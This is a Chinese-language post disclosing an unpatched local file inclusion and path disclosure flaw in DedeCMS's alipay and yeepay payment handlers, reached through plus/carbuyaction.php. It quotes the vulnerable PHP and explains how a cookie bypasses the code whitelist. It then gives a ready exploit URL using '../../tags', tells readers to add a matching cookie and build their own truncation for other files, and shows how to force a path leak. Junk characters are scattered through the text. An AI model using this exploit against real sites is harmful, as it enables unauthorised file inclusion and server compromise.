dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
/ N; z4 R7 l8 j% [$ ^9 M/ I2 f
出现漏洞的两个文件为：
Include/payment/alipay.php
8 J* G7 d5 W& s6 _Include/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
2 L0 a8 I& a) o/ t  _
Include/payment/alipay.php

......
4 y1 U4 y" [3 @  |8 x% \   function respond()
# c# l; C2 k# T8 {- C" U0 E( F    {
        if (!empty($_POST))
) ]; _) n  T( l9 u3 T+ a        {
            foreach($_POST as $key => $data)
) j* a9 ~+ d) \  `  q- I            {
                $_GET[$key] = $data;
            }
        }
        /* 引入配置文件 */
! \$ X2 z. {& \        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
2 w' [9 w5 @. Q0 c......
$ ]; ?" C8 q1 K1 U& Q0 Y! g
4 k: y  P; e% b. s; j
2 ^' I) {( i4 M: o$ C: b大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
5 O1 Y. j; @6 {) {% y9 r
Include/payment/yeepay.php
3 ^1 W2 g+ r5 ]; [: X# B: }

1 T$ H8 s8 ?1 d; ^
......
    function respond()
    {

        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
( }6 L/ o$ _2 A9 {
2 v* G8 [# O2 Q8 p        $p1_MerId = trim($payment['yp_account']);
$ j7 I4 @8 k1 F. M5 o        $merchantKey = trim($payment['yp_key']);
......




大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
( C8 f& q7 F( S' K" S3 j2 [# o
这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

......
; ^9 J- z# B" j4 J" A. r6 @  V} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
. ?( z, C& j) Y! H2 f    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
) W4 m- U5 b8 v        $pay = new $code;
        $msg=$pay->respond();
  k8 |9 T- L" H, i2 s2 q' |        ShowMsg($msg, "javascript:;", 0, 3000);
! Z6 z, ]9 @) s3 j        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
}
$ [0 O. R* {/ X$ S" ?......
- i1 c7 w$ A: l) V+ Q7 E; \
4 C! {& ~( h3 {; Q+ ?2 k; Z; R, v/ P


- d; b! F, Q- o7 @; z, f

+ t& d+ v2 A: o大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

回到include/common.inc.php来看看他的机制。
, I& y1 {( U3 x, d, y2 s


1 f+ E2 G+ S6 T( @7 o......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
: h9 L3 A( R% V{
! ^8 X! x  m! J) L( S        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
......
" X4 v5 Y6 ^; u- j  J9 N大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
! b( P3 D3 G. X' |  n8 p1 O由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。